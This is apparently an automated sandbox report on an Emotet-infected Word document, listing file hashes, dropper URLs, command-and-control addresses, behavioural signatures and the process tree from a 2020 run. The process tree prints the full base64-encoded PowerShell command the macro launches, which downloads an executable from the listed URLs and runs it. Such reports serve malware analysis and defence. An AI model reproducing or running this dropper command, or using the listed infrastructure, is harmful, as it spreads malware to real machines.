Analysis

  • max time kernel
    59s
  • max time network
    63s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    17/07/2020, 17:34

General

  • Target

    135e53da5e208b721976fb0d4ceedc1cfff80ce5c30b70dfe903e781c8abcdea.doc

  • Size

    195KB

  • MD5

    5a964eb03669e282bbb83b11890ab1d5

  • SHA1

    df35ae097ab73a4d4e0b2b5cfec4038e5c457ac5

  • SHA256

    135e53da5e208b721976fb0d4ceedc1cfff80ce5c30b70dfe903e781c8abcdea

  • SHA512

    3fdb93d5371224381e333f170b5356c03018fbd62597af2977b7d80990f86cbe3685bcfed432aea0f248b1dc4bdd4c4b5bbeb06b6a8bb1d7c4b629a45525482a

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://topgameus.com/AutoIT_UngdungOnline/zqjqel/

exe.dropper

http://cpads.net/7iuhq/mri/

exe.dropper

https://tyres2c.com/wp-admin/zu2h/

exe.dropper

https://thesuperservice.com/wp-admin/rL00/

exe.dropper

https://ssuse.com/wp-content/uploads/IMv2xyEc3/

Extracted

Family

emotet

C2

109.117.53.230:443

212.51.142.238:8080

190.160.53.126:80

139.59.60.244:8080

91.211.88.52:7080

190.108.228.62:443

186.208.123.210:443

46.105.131.87:80

173.91.22.41:80

222.214.218.37:4143

31.31.77.83:443

62.75.141.82:80

93.156.165.186:80

93.51.50.171:8080

185.94.252.104:443

78.189.165.52:8080

95.179.229.244:8080

73.11.153.178:8080

203.153.216.189:7080

95.213.236.64:8080

rsa_pubkey.plain

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\135e53da5e208b721976fb0d4ceedc1cfff80ce5c30b70dfe903e781c8abcdea.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:1100
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABiAGEAZQBwAHQAbwB1AHAAbQBvAHoAcQB1AGEAcQB1AGcAdQByAD0AJwBnAGEAaQByAGYAbwBvAHYAdwBpAGEAdABoAHQAYQBlAGcAcABvAHUAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBpAFQAeQBgAHAAUgBPAHQATwBjAGAAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAdABoAGUAZQBjAGgAaABvAGEAeABiAGEAaQBuAGwAbwBoAHIAZQB1AGcAcABvAGEAcQB1ACAAPQAgACcANgA3ADcAJwA7ACQAYwBoAGEAaQB4AHcAZQBlAHgAPQAnAHgAYQBvAHMAJwA7ACQAYwBoAGEAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdABoAGUAZQBjAGgAaABvAGEAeABiAGEAaQBuAGwAbwBoAHIAZQB1AGcAcABvAGEAcQB1ACsAJwAuAGUAeABlACcAOwAkAGoAZQBhAG0AYwBoAGEAYgA9ACcAcQB1AGEAZQBmAHkAbwB1AGwAcABvAHUAdwBqAGEAaQBoAHQAdQBhAHIAJwA7ACQAdABoAGEAZQBxAHUAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAEIAQwBMAGkARQBuAFQAOwAkAHQAaQBhAGcAeQBvAHUAcwB2AHUAdQBiAD0AJwBoAHQAdABwADoALwAvAHQAbwBwAGcAYQBtAGUAdQBzAC4AYwBvAG0ALwBBAHUAdABvAEkAVABfAFUAbgBnAGQAdQBuAGcATwBuAGwAaQBuAGUALwB6AHEAagBxAGUAbAAvACoAaAB0AHQAcAA6AC8ALwBjAHAAYQBkAHMALgBuAGUAdAAvADcAaQB1AGgAcQAvAG0AcgBpAC8AKgBoAHQAdABwAHMAOgAvAC8AdAB5AHIAZQBzADIAYwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AegB1ADIAaAAvACoAaAB0AHQAcABzADoALwAvAHQAaABlAHMAdQBwAGUAcgBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwByAEwAMAAwAC8AKgBoAHQAdABwAHMAOgAvAC8AcwBzAHUAcwBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvAEkATQB2ADIAeAB5AEUAYwAzAC8AJwAuACIAcwBwAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABiAG8AdQBtAHkAYQBvAG0AaABvAGkAegBqAGUAaQBuAGYAZQBpAHYAPQAnAGYAaQBvAHQAaABnAG8AZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeABlAGUAeABjAGUAYwBoACAAaQBuACAAJAB0AGkAYQBnAHkAbwB1AHMAdgB1AHUAYgApAHsAdAByAHkAewAkAHQAaABhAGUAcQB1AC4AIgBEAGAAbwBXAG4ATABPAGAAQQBkAEYAYABpAGwARQAiACgAJAB4AGUAZQB4AGMAZQBjAGgALAAgACQAYwBoAGEAeQApADsAJABtAGEAZQByAGIAbwBlAHAAYwB1AGEAZwA9ACcAdgBlAGEAYgB0AHUAcAByAHUAdQBsAGMAaABpAGEAegBiAG8AYQBoACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAYwBoAGEAeQApAC4AIgBMAGUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwA2ADcANgA0ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIARQBhAGAAVABlACIAKAAkAGMAaABhAHkAKQA7ACQAYwBlAGMAaABjAGEAdQB0AHQAaABlAG8AcQB1AHMAbwBlAG0APQAnAGoAbwBpAGsAagBvAGEAcABkAGkAZQBzACcAOwBiAHIAZQBhAGsAOwAkAGcAYQB1AGcAeQB1AHkAcgB1AHkAeQB1AG4AYgB1AHUAZgBrAGUAcgA9ACcAdABpAGEAdwBmAGUAbwBjAGYAYQBpAHMAagBhAGUAZgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABwAGkAeAB3AHUAegB2AG8AYQBtAGwAdQB1AHMAagBvAG8AeQBrAGkAbQA9ACcAcwBpAGMAaABrAGUAaQBnAHYAbwBhAGMAJwA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    PID:1060
  • C:\Users\Admin\677.exe
    C:\Users\Admin\677.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    PID:1844
    • C:\Windows\SysWOW64\FwRemoteSvr\wscisvif.exe
      "C:\Windows\SysWOW64\FwRemoteSvr\wscisvif.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:1840

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • memory/1100-2-0x0000000008A40000-0x0000000008A44000-memory.dmp

          Filesize

          16KB

        • memory/1100-5-0x000000000B180000-0x000000000B184000-memory.dmp

          Filesize

          16KB

        • memory/1100-6-0x000000000C200000-0x000000000C204000-memory.dmp

          Filesize

          16KB

        • memory/1840-12-0x00000000001F0000-0x00000000001FC000-memory.dmp

          Filesize

          48KB

        • memory/1844-9-0x00000000003E0000-0x00000000003EC000-memory.dmp

          Filesize

          48KB